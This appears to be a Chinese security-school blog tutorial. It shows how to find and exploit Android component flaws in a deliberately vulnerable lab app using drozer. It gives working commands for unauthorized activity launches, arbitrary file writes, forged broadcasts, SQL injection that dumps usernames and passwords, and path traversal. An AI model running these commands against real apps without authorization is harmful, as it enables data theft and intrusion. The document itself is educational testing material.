当前位置: 首页 > 技术干货 > Android四大组件安全漏洞实战

Android四大组件安全漏洞实战

发表于:2025-08-20 13:03 作者: Alan 阅读数(33人)

Android 四大组件Activity、Service、Broadcast Receiver和Content Provider是应用程序的核心组成部分,但如果实现不当,会引入严重的安全漏洞。本文将详细分析各组件常见的安全漏洞,通过漏洞代码逻辑基于 drozer 的利用方式,能够更清楚的了解具体漏洞的原理以及利用方法。

具体droze的下载和安装不详细介绍,可以自行百度,安装完成后先在android端运行drozer agent,点击开启。

在电脑端通过adb实现端口转发,并成功启动drozer

adb forward tcp:31415 tcp:31415
drozer console connect

通过app.package.list的filter参数过滤alan关键词的包名称

run app.package.list --filter alan

查询该app的包信息

 run app.package.info -a com.asec.alan

利用app.package.attacksurface可以查询该APP的攻击面,即漏洞的点和数量。

run app.package.attacksurface com.asec.alan

完成上述的操作后,即可对相关的漏洞进行检测分析了,接下来针对具体的组件和漏洞进行测试操作。

一、Activity

Activity 作为 Android 的界面组件,负责与用户交互,其安全问题直接影响用户数据安全。

1、未授权访问漏洞

需要登录权限的 Activity 未做严格校验,导致恶意应用可直接通过 Intent 启动。

通过以下drozer命令可以查看当前app的所有activity,并确认无权限限制

run app.activity.info -a com.asec.alan

对于这些activity的执行逻辑属于

LoginActivity登录->MainActivity->InfoQueryActivity

image.png


image.png


image.png

LoginActivity登录->MainActivity->FileQueryActivity

image.png


image.png


image.png

1)漏洞代码

以下为具体的代码,以LoginActivity登录->MainActivity->InfoQueryActivity场景为例,可以看到首先LoginActivity以硬编码的形式进行用户密码的判断,并使用SharePreference进行了登录态的存储

当用户密码登录成功后即可跳转MainActivity,MainActivity对登录态简单做了校验,确认其中的is_logged_in的值存在即可加载。

通过MainActivity跳转到InfoQueryActivity直接进行点击事件的监听跳转

该acitivity直接加载,未进行登录态的校验

通过上述APP代码的分析,可以判断出MainActivity的加载做了简单的登录态校验,但是如果已经登录过,且登录态写入到user_prefs.xml中后,只要不进行删除即可直接通过命令加载成功实现绕过;InfoQueryActivity的加载并未做任何校验,可以尝试直接进行加载。

2)漏洞利用

MainActivity加载:

基于上述代码逻辑的分析,接下来通过drozer命令进行利用测试,如果已经登录过APP,则在该程序目录会生成user_prefs.xml文件,里面会写入"is_logged_in"的值为true

MainActivity的加载可直接通过drozer命令加载

run app.activity.start --component com.asec.alan com.asec.alan.MainActivity

执行后成功记载MainActivity

image.png

删除user_prefs.xml文件,再利用drozer命令尝试加载MainActivity则失败

InfoQueryActivity加载:

InfoQueryActivity则通过app.activity.start命令直接加载即可。

run app.activity.start --component com.asec.alan com.asec.alan.InfoQueryActivity

image.png

3)修复建议

二、Service

Service 用于后台处理任务,若存在漏洞可能导致敏感操作被恶意调用。

新建一个用于漏洞测试的service,并写入一些漏洞的逻辑

service组件运行导出

通过drozer命令可以查询支持导出的service组件信息,支持导出则可能存在对应的漏洞。

run app.service.info -a com.asec.alan

1、任意文件写入漏洞

在 Android Service 场景中,当服务接收外部传入的文件路径参数并直接用于文件写入操作时,覆盖应用自身关键文件(配置文件、数据库等),导致应用的使用或者安全风险问题。

1)漏洞代码

当 Service 处理"com.asec.alan.ACTION_WRITE_FILE"动作时,会从 Intent 中直接读取filePath参数及需要写入的内容,并通过writeToFile()方法写入内容。但是writeToFile()直接使用传入的filePath创建File对象,未检查路径是否限制在应用私有目录

2)漏洞利用

通过drozer命令向/data/data/com.asec.alan/写入drozer_test.txt文件,文件内容为Test from drozer

run app.service.start --action com.asec.alan.ACTION_WRITE_FILE --component com.asec.alan com.asec.alan.VulnerableService --extra string file_path "/data/data/com.asec.alan/drozer_test.txt" --extra string content "Test from drozer"

利用adb shell连接android系统,切换为root权限后查看drozer_test.txt的存在和内容

adb shell
su
ls /data/data/com.asec.alan/drozer_test.txt
cat /data/data/com.asec.alan/drozer_test.txt

2、敏感信息泄露漏洞

敏感信息泄露指应用在运行过程中,将不应公开的敏感数据(如密码、密钥、令牌等)以明文形式存储、传输或输出,导致未授权主体可获取这些信息。

1)漏洞代码

当 Service 处理"com.asec.alan.ACTION_GET_SECRET"动作时,getSensitiveInformation()方法会返回包含数据库密码、API 密钥等核心敏感数据,并通过Log.d()输出到系统日志

2)漏洞利用

利用drozer命令启动com.asec.alan com.asec.alan.VulnerableService服务

run app.service.start --action com.asec.alan.ACTION_GET_SECRET --component com.asec.alan com.asec.alan.VulnerableService

通过adb的logcat查看对应的日志,成功打印出对饮的敏感数据。

adb logcat VulnerableService:D *:S

三、Broadcast Receiver

Broadcast Receiver 用于接收系统或应用间的广播,若实现不当会导致信息泄露或恶意调用。

1、伪造恶意广播漏洞

Receiver 未验证广播发送者身份,恶意应用可伪造广播触发敏感操作。

1)漏洞代码

该接收器未对广播发送者的身份进行任何验证,任何应用都可以发送com.asec.alan.ACTION_SENSITIVE_OPERATION动作的广播来触发其逻辑。并通过performSensitiveOperation方法执行敏感操作,测试使用Toast在界面弹窗展示,但整个调用链都没有权限检查机制。

2)漏洞利用

利用drozer伪造恶意广播并触发该接收器

run app.broadcast.send --action com.asec.alan.ACTION_SENSITIVE_OPERATION --component com.asec.alan com.asec.alan.VulnerableReceiver --extra string operation "test" --extra string data "test"

通过界面可以查看到对应的广播信息

四、Content Provider

Content Provider 用于数据共享,是最容易出现安全问题的组件,常见漏洞包括信息泄露、SQL 注入和目录遍历。

1、信息泄露漏洞

Content Provider 未限制访问权限,导致应用内敏感数据(如用户信息、数据库)可被任意读取。

1)漏洞代码:

通过该代码可以发现,未检查调用者是否有读取权限,可以直接调用sql进行数据的查询。

2)漏洞利用

利用drozer命令可以查看该APP的provider的信息

run app.provider.info -a com.asec.alan

利用app.provider.finduri可以查看所有的uri

run app.provider.finduri com.asec.alan

通过drozer查询content://com.asec.alan.provider/该uri的数据

run app.provider.query content://com.asec.alan.provider/

2、SQL 注入漏洞

Content Provider 在处理查询时直接拼接 SQL 语句,未使用参数化查询,导致 SQL 注入。

1)漏洞代码

通过代码发现将selection参数直接拼接进 SQL 查询字符串,未使⽤参数化查询或输⼊净化,完全信任外部输⼊。并且忽略了selectionArgs参数,该参数本应⽤于安全传递查询参数,调⽤rawQuery时未使⽤参数绑定功能,⽽是传递null。

2)漏洞利用

利用drozer的scanner.provider.injection可以查询该APP的Content Provider存在的SQL注入

run scanner.provider.injection -a com.asec.alan

基于sql注入漏洞的测试和利用,通过order by进行显示位的判断

run app.provider.query content://com.asec.alan.provider/ --selection "1=1 order by 2"
run app.provider.query content://com.asec.alan.provider/ --selection "1=1 order by 3"
run app.provider.query content://com.asec.alan.provider/ --selection "1=1 order by 4"

并进行username和password数据的查询。

run app.provider.query content://com.asec.alan.provider/ --selection "1=1 UNION SELECT 1,username,password FROM users--"

3、目录遍历漏洞

Content Provider 的openFile()方法未验证文件路径,导致攻击者可访问应用沙盒外的任意文件。

1)漏洞代码

代码中使用uri.getEncodedPath()获取路径,未处理../或..\等路径跳转符,用户可控的uriPath直接与基础目录baseDir拼接,并没有对访问的文件类型、路径范围进行权限校验。

2)漏洞利用

利用drozer的scanner.provider.traversal对目录遍历漏洞进行检测,发现对应的uri

run scanner.provider.traversal -a com.asec.alan

并成功查询/system/etc/hosts文件内容

run app.provider.read content://com.asec.alan.provider/../../../../system/etc/hosts

本文利用drozer工具基于该APP的测试和操作,其实对于android app的组件漏洞的测试还有很多方法,通过其对四大组件的系统性检测,可有效发现权限控制缺失、输入验证不足等高危漏洞。在实际测试中,需结合静态代码分析(如查看 AndroidManifest.xml 的组件配置)与 Drozer 的动态交互测试,形成 "静态枚举 + 动态验证" 的闭环,才能全面评估组件的安全状态,为漏洞修复提供精准依据。

APP地址: https://pan.baidu.com/s/1l1thGur7wmMBXLWivqW6cg?pwd=4ggk

提取码: 4ggk

本课程最终解释权归蚁景网安学院

本页面信息仅供参考,请扫码咨询客服了解本课程最新内容和活动

🎈网安学院推荐课程: 渗透测试工程师特训班 Web安全工程师特训班 Python网络安全实战班 应急响应安全工程师特训班
  CTF-Reverse实战技能特训班 CTF-WEB实战技能特训班 CTF-PWN实战技能特训班 CTF-MISC实战技能特训班   SRC赏金猎人大师班 HVV大师课